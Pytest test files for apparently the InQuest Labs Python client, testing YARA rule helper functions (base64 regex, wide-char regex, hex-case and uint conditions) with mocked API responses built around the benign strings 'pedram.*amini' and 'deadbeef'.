/tests/test_yara_b64re.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from inquestlabs import inquestlabs_exception 3 | 4 | 5 | @pytest.fixture 6 | def mock_body(): 7 | return """([\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW[0-3][\x2b\x2f-9A-Za-z]YW1pbm[k-n]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|cGVkcmFtYW1pbm[k-n]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW1hbWlua[Q-Za-f]|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhbWFtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}[2GWm]FtaW5p|cGVkcmFt([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|cGVkcmFt[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z]{2}YW1pbm[k-n]|[\x2b\x2f-9A-Za-z][3HXn]BlZHJhb[Q-Za-f][159BFJNRVZdhlptx]hbWlua[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][2GWm]FtaW5p|[\x2b\x2f-9A-Za-z]{2}[159BFJNRVZdhlptx]wZWRyYW([\x2b\x2f-9A-Za-z][\x2b\x2f-9A-Za-z]|[\x2b\x2f-9A-Za-z])*[\x2b\x2f-9A-Za-z][159BFJNRVZdhlptx]hbWlua[Q-Za-f])""" 8 | 9 | 10 | @pytest.fixture 11 | def mock_regex(): 12 | return "pedram.*amini" 13 | 14 | 15 | def test_valid_b64re(labs, mocker, mock_body, mock_regex): 16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 17 | results = labs.yara_b64re(mock_regex) 18 | assert mock_body in results 19 | 20 | 21 | def test_valid_b64re_big_endian(labs, mock_regex, mocker, mock_body): 22 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 23 | results = labs.yara_b64re(mock_regex, endian="BIG") 24 | assert mock_body in results 25 | 26 | 27 | def test_valid_b64re_little_endian(labs, mocker, mock_body, mock_regex): 28 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 29 | results = labs.yara_b64re(mock_regex, endian="LITTLE") 30 | assert mock_body in results 31 | 32 | 33 | def test_valid_b64re_big_endian_with_key(labs_with_key, mock_regex, mocker, mock_body): 34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 35 | results = labs_with_key.yara_b64re(mock_regex, endian="BIG") 36 | assert mock_body in results 37 | 38 | 39 | def test_valid_b64re_little_endian_with_key(labs_with_key, mock_regex, mocker, mock_body): 40 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 41 | results = labs_with_key.yara_b64re(mock_regex, endian="LITTLE") 42 | assert mock_body in results 43 | 44 | 45 | def test_valid_b64re_with_key(labs_with_key, mocker, mock_body, mock_regex): 46 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 47 | results = labs_with_key.yara_b64re(mock_regex) 48 | assert mock_body in results 49 | 50 | 51 | def test_invalid_endian(labs, mocker, mock_regex): 52 | with pytest.raises(inquestlabs_exception) as excinfo: 53 | labs.yara_b64re(mock_regex, endian="BAD_ENDIAN") 54 | 55 | assert "invalid endianess" in str(excinfo.value) 56 | 57 | 58 | def test_invalid_endian_with_key(labs_with_key, mocker, mock_regex): 59 | with pytest.raises(inquestlabs_exception) as excinfo: 60 | labs_with_key.yara_b64re(mock_regex, endian="BAD_ENDIAN") 61 | 62 | assert "invalid endianess" in str(excinfo.value) 63 | -------------------------------------------------------------------------------- /tests/test_yara_hexcase.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | @pytest.fixture 5 | def mock_input(): 6 | return "pedram" 7 | 8 | 9 | @pytest.fixture 10 | def mock_response(): 11 | return "[57]0[46]5[46]4[57]2[46]1[46]d" 12 | 13 | 14 | def test_valid_hexcase(labs, mock_input, mock_response, mocker): 15 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 16 | response = labs.yara_hexcase(mock_input) 17 | assert mock_response in response 18 | 19 | 20 | def test_valid_hexcase_with_key(labs_with_key, mock_input, mock_response, mocker): 21 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 22 | response = labs_with_key.yara_hexcase(mock_input) 23 | assert mock_response in response 24 | -------------------------------------------------------------------------------- /tests/test_yara_uint.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | @pytest.fixture 5 | def mock_uint_response(): 6 | return "/* trigger = 'deadbeef' */\n(uint32be(0x0) == 0x64656164 and uint32be(0x4) == 0x62656566)" 7 | 8 | 9 | @pytest.fixture 10 | def mock_input(): 11 | return "deadbeef" 12 | 13 | 14 | def test_uint_valid(labs, mock_uint_response, mock_input, mocker): 15 | mocker.patch("inquestlabs.inquestlabs_api.API", 16 | return_value=mock_uint_response) 17 | response = labs.yara_uint(mock_input) 18 | assert mock_uint_response in response 19 | 20 | 21 | def test_uint_valid_with_key(labs_with_key, mock_uint_response, mock_input, mocker): 22 | mocker.patch("inquestlabs.inquestlabs_api.API", 23 | return_value=mock_uint_response) 24 | response = labs_with_key.yara_uint(mock_input) 25 | assert mock_uint_response in response 26 | -------------------------------------------------------------------------------- /tests/test_yara_widere.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from inquestlabs import inquestlabs_exception 3 | 4 | 5 | @pytest.fixture 6 | def mock_body(): 7 | return """(([\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAbQBhAG0AaQBuAG[k-n]|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|AHA{2}ZQBkAHIAYQBtA[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG0A[\x2b\x2f-9A-Za-z][AQgw]BhAG0AaQBuAG[k-n]|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAb(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[\x2b\x2f-9A-Za-z]A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG0AYQBtAGkAbgBp|AHA{2}ZQBkAHIAYQBtAGEAbQBpAG4Aa[Q-Za-f]|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]AcABlAGQAcgBhAG(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*[AQgw][A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f]|AHA{2}ZQBkAHIAYQBt(A[A-P]|[048AEIMQUYcgkosw]A[\x2b\x2f-9A-Za-z]|[AQgw][A-D]|[\x2b\x2f-9A-Za-z]A[A-P])*A[A-P][048AEIMQUYcgkosw]AYQBtAGkAbgBp|[\x2b\x2f-9A-Za-z][AQgw]BwAGUAZAByAGEAbQ[A-D][\x2b\x2f-9A-Za-z]AGEAbQBpAG4Aa[Q-Za-f])""" 8 | 9 | 10 | @pytest.fixture 11 | def mock_regex(): 12 | return "pedram.*amini" 13 | 14 | 15 | def test_valid_widere(labs, mocker, mock_body, mock_regex): 16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 17 | results = labs.yara_widere(mock_regex) 18 | assert mock_body in results 19 | 20 | 21 | def test_valid_widere_big_endian(labs, mock_regex, mocker, mock_body): 22 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 23 | results = labs.yara_widere(mock_regex, endian="BIG") 24 | assert mock_body in results 25 | 26 | 27 | def test_valid_widere_little_endian(labs, mocker, mock_body, mock_regex): 28 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 29 | results = labs.yara_widere(mock_regex, endian="LITTLE") 30 | assert mock_body in results 31 | 32 | 33 | def test_valid_widere_big_endian_with_key(labs_with_key, mock_regex, mocker, mock_body): 34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 35 | results = labs_with_key.yara_widere(mock_regex, endian="BIG") 36 | assert mock_body in results 37 | 38 | 39 | def test_valid_widere_little_endian_with_key(labs_with_key, mock_regex, mocker, mock_body): 40 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 41 | results = labs_with_key.yara_widere(mock_regex, endian="LITTLE") 42 | assert mock_body in results 43 | 44 | 45 | def test_valid_widere_with_key(labs_with_key, mocker, mock_body, mock_regex): 46 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_body) 47 | results = labs_with_key.yara_widere(mock_regex) 48 | assert mock_body in results 49 | 50 | 51 | def test_invalid_endian(labs, mocker, mock_regex): 52 | with pytest.raises(inquestlabs_exception) as excinfo: 53 | labs.yara_widere(mock_regex, endian="BAD_ENDIAN") 54 | 55 | assert "invalid endianess" in str(excinfo.value) 56 | 57 | 58 | def test_invalid_endian_with_key(labs_with_key, mocker, mock_regex): 59 | with pytest.raises(inquestlabs_exception) as excinfo: 60 | labs_with_key.yara_widere(mock_regex, endian="BAD_ENDIAN") 61 | 62 | assert "invalid endianess" in str(excinfo.value) 63 | --------------------------------------------------------------------------------